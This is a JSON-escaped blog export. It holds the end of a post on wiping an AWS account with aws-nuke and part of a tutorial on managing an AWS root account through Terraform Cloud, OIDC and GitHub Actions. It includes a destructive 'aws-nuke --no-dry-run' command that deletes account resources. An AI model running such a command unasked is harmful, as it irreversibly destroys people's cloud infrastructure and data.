real!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance.  There isn't a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of information going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-21T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"},{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cdiv class=\"remark-mermaid remark-mermaid-default\"\u003e\u003csvg aria-roledescription=\"flowchart-v2\" role=\"graphics-document document\" viewBox=\"-8 -8 827.9453125 321.5\" style=\"max-width: 827.945px; background-color: transparent;\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns=\"http://www.w3.org/2000/svg\" width=\"100%\" id=\"my-svg\"\u003e\u003cstyle\u003e#my-svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#my-svg .error-icon{fill:#552222;}#my-svg .error-text{fill:#552222;stroke:#552222;}#my-svg .edge-thickness-normal{stroke-width:2px;}#my-svg .edge-thickness-thick{stroke-width:3.5px;}#my-svg .edge-pattern-solid{stroke-dasharray:0;}#my-svg .edge-pattern-dashed{stroke-dasharray:3;}#my-svg .edge-pattern-dotted{stroke-dasharray:2;}#my-svg .marker{fill:#333333;stroke:#333333;}#my-svg .marker.cross{stroke:#333333;}#my-svg svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#my-svg .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#my-svg .cluster-label text{fill:#333;}#my-svg .cluster-label span,#my-svg p{color:#333;}#my-svg .label text,#my-svg span,#my-svg p{fill:#333;color:#333;}#my-svg .node rect,#my-svg .node circle,#my-svg .node ellipse,#my-svg .node polygon,#my-svg .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#my-svg .flowchart-label text{text-anchor:middle;}#my-svg .node .label{text-align:center;}#my-svg .node.clickable{cursor:pointer;}#my-svg .arrowheadPath{fill:#333333;}#my-svg .edgePath .path{stroke:#333333;stroke-width:2.0px;}#my-svg .flowchart-link{stroke:#333333;fill:none;}#my-svg .edgeLabel{background-color:#e8e8e8;text-align:center;}#my-svg .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#my-svg .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#my-svg .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#my-svg .cluster text{fill:#333;}#my-svg .cluster span,#my-svg p{color:#333;}#my-svg div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#my-svg .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#my-svg :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;}\u003c/style\u003e\u003cg\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"6\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointEnd\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 0 L 10 5 L 0 10 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"12\" markerWidth=\"12\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"4.5\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-pointStart\"\u003e\u003cpath style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 0 5 L 10 10 L 10 0 z\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"11\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleEnd\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5\" refX=\"-1\" viewBox=\"0 0 10 10\" class=\"marker flowchart\" id=\"my-svg_flowchart-circleStart\"\u003e\u003ccircle style=\"stroke-width: 1; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" r=\"5\" cy=\"5\" cx=\"5\"\u003e\u003c/circle\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"12\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossEnd\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cmarker orient=\"auto\" markerHeight=\"11\" markerWidth=\"11\" markerUnits=\"userSpaceOnUse\" refY=\"5.2\" refX=\"-1\" viewBox=\"0 0 11 11\" class=\"marker cross flowchart\" id=\"my-svg_flowchart-crossStart\"\u003e\u003cpath style=\"stroke-width: 2; stroke-dasharray: 1, 0;\" class=\"arrowMarkerPath\" d=\"M 1,1 l 9,9 M 10,1 l -9,9\"\u003e\u003c/path\u003e\u003c/marker\u003e\u003cg class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-AWS LE-Token\" id=\"L-AWS-Token-0\" d=\"M179.515625,135.25L175.34895833333334,135.25C171.18229166666666,135.25,162.84895833333334,135.25,147.307188259572,146.03798213279688C131.76541818581066,156.8259642655938,109.01521137162133,178.40192853118756,97.64010796452668,189.18991066398442L86.26500455743201,199.97789279678133\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Token LE-Terraform\" id=\"L-Token-Terraform-0\" d=\"M82.41940849853157,237.125L94.43544458210964,248.52083333333334C106.45148066568771,259.9166666666667,130.48355283284386,282.7083333333333,158.28800037475526,294.1041666666667C186.09244791666666,305.5,217.66927083333334,305.5,249.24609375,305.5C280.8229166666667,305.5,312.3997395833333,305.5,347.5989583333333,305.5C382.7981770833333,305.5,421.6197916666667,305.5,460.44140625,305.5C499.2630208333333,305.5,538.0846354166666,305.5,567.7774037759685,298.7553356134401C597.4701721352704,292.0106712268801,618.034094270541,278.52134245376027,628.3160553381762,271.77667806720035L638.5980164058114,265.03201368064043\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-Terraform LE-JWT\" id=\"L-Terraform-JWT-0\" d=\"M643.0296381699707,178.625L632.0090734749756,171.39583333333334C620.9885087799804,164.16666666666666,598.9473793899903,149.70833333333334,584.6434813616619,142.47916666666666C570.3395833333333,135.25,563.7729166666667,135.25,560.4895833333334,135.25L557.20625,135.25\"\u003e\u003c/path\u003e\u003cpath marker-end=\"url(#my-svg_flowchart-pointEnd)\" style=\"fill:none;\" class=\"edge-thickness-normal edge-pattern-solid flowchart-link LS-JWT LE-AWS\" id=\"L-JWT-AWS-0\" d=\"M368.9765625,135.25L364.8098958333333,135.25C360.6432291666667,135.25,352.3098958333333,135.25,344.8598958333334,135.25C337.40989583333334,135.25,330.8432291666667,135.25,327.5598958333333,135.25L324.2765625,135.25\"\u003e\u003c/path\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgeLabel\"\u003e\u003cg transform=\"translate(0, 0)\" class=\"label\"\u003e\u003cforeignObject height=\"0\" width=\"0\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"edgeLabel\"\u003e\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(607.33984375, 170.625)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"Terraform\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"83.5\" width=\"209.5390625\" y=\"8\" x=\"-4.93359375\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-4.93359375, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"209.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eTerraform Cloud Workflow #2\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(99.8359375, 49.75)\" id=\"flowchart-OIDCProvider-3\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"113.671875\" y=\"-16.75\" x=\"-56.8359375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-49.3359375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"98.671875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Provider\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(172.015625, -8)\" class=\"root\"\u003e\u003cg class=\"clusters\"\u003e\u003cg id=\"AWS\" class=\"cluster default flowchart-label\"\u003e\u003crect height=\"270.5\" width=\"139.4609375\" y=\"8\" x=\"8\" ry=\"0\" rx=\"0\" style=\"\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(52.25, 8)\" class=\"cluster-label\"\u003e\u003cforeignObject height=\"18.5\" width=\"50.9609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAWS #1\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg class=\"edgePaths\"\u003e\u003c/g\u003e\u003cg class=\"edgeLabels\"\u003e\u003c/g\u003e\u003cg class=\"nodes\"\u003e\u003cg transform=\"translate(77.73046875, 59.75)\" id=\"flowchart-OIDC-0\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"89.4609375\" y=\"-16.75\" x=\"-44.73046875\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-37.23046875, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"74.4609375\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eOIDC Trust\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 143.25)\" id=\"flowchart-Roles-1\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"52.171875\" y=\"-16.75\" x=\"-26.0859375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-18.5859375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"37.171875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eRoles\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(77.73046875, 226.75)\" id=\"flowchart-Resources-2\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"85.5390625\" y=\"-16.75\" x=\"-42.76953125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-35.26953125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"70.5390625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eResources\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(64.7578125, 220.375)\" id=\"flowchart-Token-5\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"129.515625\" y=\"-16.75\" x=\"-64.7578125\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-57.2578125, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"114.515625\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eAccess Token #4\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003cg transform=\"translate(460.44140625, 135.25)\" id=\"flowchart-JWT-8\" class=\"node default default flowchart-label\"\u003e\u003crect height=\"33.5\" width=\"182.9296875\" y=\"-16.75\" x=\"-91.46484375\" ry=\"0\" rx=\"0\" style=\"\" class=\"basic label-container\"\u003e\u003c/rect\u003e\u003cg transform=\"translate(-83.96484375, -9.25)\" style=\"\" class=\"label\"\u003e\u003crect\u003e\u003c/rect\u003e\u003cforeignObject height=\"18.5\" width=\"167.9296875\"\u003e\u003cdiv style=\"display: inline-block; white-space: nowrap;\" xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003cspan class=\"nodeLabel\"\u003eJWT \u0026#x26; Cloud Role ID #3\u003c/span\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/g\u003e\u003c/svg\u003e\u003c/div\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed througuh terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correct\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you'll need\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git.  Its the only infra\nthat will not be controlled by your CI/CD pipeline.ccccccug\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged.  It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-boostrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, \u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we'll need\nfor creating these resources.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: 